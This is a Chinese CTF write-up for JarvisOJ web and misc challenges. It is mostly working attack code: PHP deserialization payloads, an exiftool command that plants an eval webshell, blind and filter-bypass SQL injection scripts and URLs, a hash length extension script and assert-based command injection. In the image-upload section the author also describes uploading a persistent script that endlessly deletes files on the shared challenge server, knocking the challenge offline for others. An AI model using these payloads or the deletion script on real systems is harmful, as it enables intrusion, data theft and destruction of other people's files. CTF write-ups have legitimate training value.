javrisoj的web题

javrisoj的web题writeup

WEB

admin

进去之后发现什么都没有,以为是源码泄露,反正不管怎么样,先扫一波目录https://github.com/Err0rzz/SourceLeakHacker

进去robots.txt,看到
进去之后看到一个假flag,抓包一看就知道了怎么做了…

phpinfo

进去之后看到ini_set('session.serialize_handler', 'php');
想到session反序列化的漏洞http://blog.jobbole.com/107052/
之后构造出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class OowoO
{
public $mdzz;
function __construct()
{
// $this->mdzz = 'phpinfo();';
$this->mdzz = 'print_r(scandir("/opt/lampp/htdocs"));';
//$this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
function __destruct()
{
//eval($this->mdzz);
}
}
$m = new OowoO();
echo serialize($m);
?>

来将所需要的命令给序列化。

payload分别为:

  • |O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}

  • |O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

现在payload已经有了,那么就是将payload写到session里面去。
创建一个a.html

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

然后随便上传一个东西,因为变量PHP_SESSION_UPLOAD_PROGRESS的存在,所以会将session的值给替换成上面的123,所以只需要抓包将123替换成payload即可,如下图:

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化

图片上传漏洞

这题不懂套路,看了writeup之后才勉强能懂什么意思。
先扫一波看一下
有个test.php,进去之后发现是phpinfo。最后发现phpinfo中的imagick

https://www.2cto.com/article/201605/505823.html
发现exif也能触发漏洞。
先用exiftool生成一个一句话后门 路径由 phpinfo 得到

1
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" test.png

然后上传test.png
注意filetype设置为show.
上传成功后,就会在uploads/下写入x.php,内容为一句话木马,然后用蚁剑去连接就好了

ps:突然发现uploads/目录有删除的权限,所以上传了个’正经’脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
{
getfiles($afile.'/*.jpg');
getfiles($afile.'/*.png');
getfiles($afile.'/*.php');
}
else
unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>

常驻内存,循环删除.php,.jpg,.png文件,所以这题应该已经挂了。。

api调用

先试了试功能,感觉很像js脚本的功能
抓包一看content-type=json,搜到http://bobao.360.cn/learning/detail/360.html
如果将content-type的值改为xml的话,服务器会将你传过去的东西解析成xml格式的,所以就可以利用xml来进行嘿嘿嘿了

simple injection

挺简单的一道sql题目,测试了一下,发现只过滤了空格,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
payloads='1234567890qwertyuiopasdfghjklzxcvbnm_@'
#xx= "'/**/or/**/if(substring((select/**/database())/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1"
#xx = "'/**/or/**/if(substring((select/**/group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1"
#xx = "'/**/or/**/if(substring((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin')/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1"
xx = "'/**/or/**/if(substring((select/**/password/**/from/**/admin)/**/from/**/%s/**/for/**/1)='%s',0,1)/**/and/**/'1'='1"
def exp(i,x):
data={'username':xx %(i,x),'password':'123'}
#print data
response = requests.post(url,data = data)
#print response.content
if response.content.find('用户名错误')>0:
return 1
else :
return 0
ans=''
print 'star'
for i in range(1,100):
for x in payloads:
if exp(i,x)==1:
ans+=x
print ans
break


md5解密一下:
登陆即可得到flag.

flag在管理员手里

web题第一操作,先扫一波目录,最近换了个新工具https://github.com/ring04h/weakfilescan
看到有源码泄露,访问index.php~下载下来源码,因为下载下来的是一串乱七八糟的,需要去恢复一下。

在linux下用file看一下文件类型,发现是swap文件的话加上后缀什么的,然后

1
vim -r index.php.swp

恢复一下就好了。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>

发现是hash长度扩展攻击,唯一不同的是不知道secret的长度

首先观察服务器端给了什么信息,发现服务器端返回了$role='s:5:"guest";'以及$hsh=md5(salt+strrev($role))
然后需要我们求的是md5(salt+strrev(admin))

先看代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashpumpy
import urllib
import requests
for i in range(1,30):
m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
print i
url='http://120.26.131.152:32778/'
digest=m[0]
message=urllib.quote(urllib.unquote(m[1])[::-1])
cookie='role='+message+'; hsh='+digest
#print cookie
headers={
'cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}
print headers
re=requests.get(url=url,headers=headers)
print re.text
if "Welcome" in re.text:
print re;
break

代码是在linux下运行的,因为使用了hashpumpy库,这个库我在win下安装不成功..使用说明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import hashpumpy
>>> help(hashpumpy.hashpump)
Help on built-in function hashpump in module hashpumpy:
hashpump(...)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
('e3c4a05f', 'original_datadata_to_add')

所以代码中,$hsh的值中已知的部分为strrev(serialize('guest')),即';\"tseug\":5:s',',而需要填充的部分为';\"nimda\":5:s',长度则用爆破。

此时构造出来的cookie为

1
role=s%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B; hsh=fcdc3840332555511c4e4323f6decb07

这样的cookie传到服务端,首先根据源码,会将role反序列化之后比较是否等于admin,这时候会发现php反序列化也存在%00截断,所以第一个判断过了

接下来会判断$hsh是否等于md5($salt+strrev($role)),而md5($salt+strrev($role))
等于md5($salt+strrev(s:5:"admin";%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest";))
等于md5($salt+strrev(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00;\"nimda\":5:s))
,而其中md5($salt+strrev(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00)等于已知的3a4727d57463f122833d9e732f94e4e0,而这个值也将作为下一个分组的输入,这个和hashpump的运算结果是一样的,所以运行一下代码:

Login

抓包一看发现hint
google一下http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/,直接提交ffifdyop,得到flag

PORT 51

这题其实就是一个命令的事,不过因为是校园网,出路由的时候会变端口,所以在vps上跑了

localhost

说localhost only,加个x-forwarded-for:127.0.0.1

神盾局的秘密

右键查看源码发现有个文件包含,读一下index.php和shield.php
index.php:

1
2
3
4
5
6
7
8
9
10
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

shield.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

反序列化漏洞,根据源码重新写个代码然后将这个值用get方法传给index.php

IN A Mess

一进去看就知道应该是骚目录或者源码泄露,上了几个开源工具都失败了之后还是选择相信awvs

看一下index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

php黑魔法了,a的话可以用data伪协议绕过http://cn2.php.net/manual/zh/wrappers.data.php,或者用php://input也可以。id的话因为是两个等号,只要不是数字都能和0相等,b的话因为是eregi存在%00截断,所以最后构造的payload如下:

1
?id=asd&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=%00aaaaaaaaaaaa

或者

1
2
http://web.jarvisoj.com:32780/index.php?id=asd&a=php://input&b=%00aaaaaaaaaaaa
post:1112 is a nice lab!

拿到一个新目录,继续awvs:

扫出个注入,get方法参数是id

简单测试一下,发现过滤了简单的过滤了空格以及/**/,还有像select,union,from这种关键字都被正则替换了一次,用seselectlect就能过.

1
2
3
4
5
6
7
8
9
10
11
确定列数
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,3%23
确定表名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(table_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_schema=database()#
确定列名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(column_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_name=0x636f6e74656e74%23
获得数据
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,context/*aaa*/frfromom/*aaa*/content%23

re?

下载下来之后是个udf.so文件,https://err0rzz.github.io/2017/12/26/UDF-mysql/

接下来操作都很简单了,从udf.so里导入help_me函数,返回值为STRING,然后根据提示去导入getflag函数,就能得到flag了。

babyphp

提示有说到git,猜测git文件泄露,恢复之后
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>

这里就是需要通过

1
2
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");

这两个断言,而$file是我们可以主动构造的,而且我也是刚知道php有个神奇的特性,如下:

字符串拼接的时候是可以执行命令的,所以构造如下:

1
?page=flag'.system("ls templates/;").'

此时构造出来的

1
assert("strpos('templates/flag'.system("ls templates/;").'.php', '..') === false") or die("Detected hacking attempt!");

此时程序会先执行ls,然后将输出结果和'templates/''.php'拼接出来,然后再去执行strpos,所以输出结果:

然后去cat flag.php就好了

inject

这种点进去什么都没有的题目,第一反应就应该是源码泄露或者骚目录,扫一下再说,然后发现index.php~

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

先闭合反引号吧,然后
感觉像是排序的问题
然后正常的sql注入:

1
2
3
4
5
6
7
8
9
10
11
查库名
?table=flag` ` union select database() limit 1,1
查表名
?table=flag` ` union select group_concat(table_name) from information_schema.columns where table_schema=database() limit 1,1
查列名
?table=flag` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
查flag
?table=flag` ` union select flagUwillNeverKnow from secret_flag limit 1,1

MISC

shell流量分析

流量包分析,先搜索一下flag字符串
没想到还真的有,跟踪tcp流看一下。发现全是命令
其中加解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
print len(message)
example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example

还有flag=mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==

很明显是base64加密,只需要稍微改一下代码就可解出答案了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
flag = 'mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=='
flag=base64.b64decode(flag)
example = decrypt(flag, 'Qq4wdrhhyEWe4qBF')
print example

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. WEB
    1. 1.1. admin
    2. 1.2. phpinfo
    3. 1.3. 图片上传漏洞
    4. 1.4. api调用
    5. 1.5. simple injection
    6. 1.6. flag在管理员手里
    7. 1.7. Login
    8. 1.8. PORT 51
    9. 1.9. localhost
    10. 1.10. 神盾局的秘密
    11. 1.11. IN A Mess
    12. 1.12. re?
    13. 1.13. babyphp
    14. 1.14. inject
  2. 2. MISC
    1. 2.1. shell流量分析
,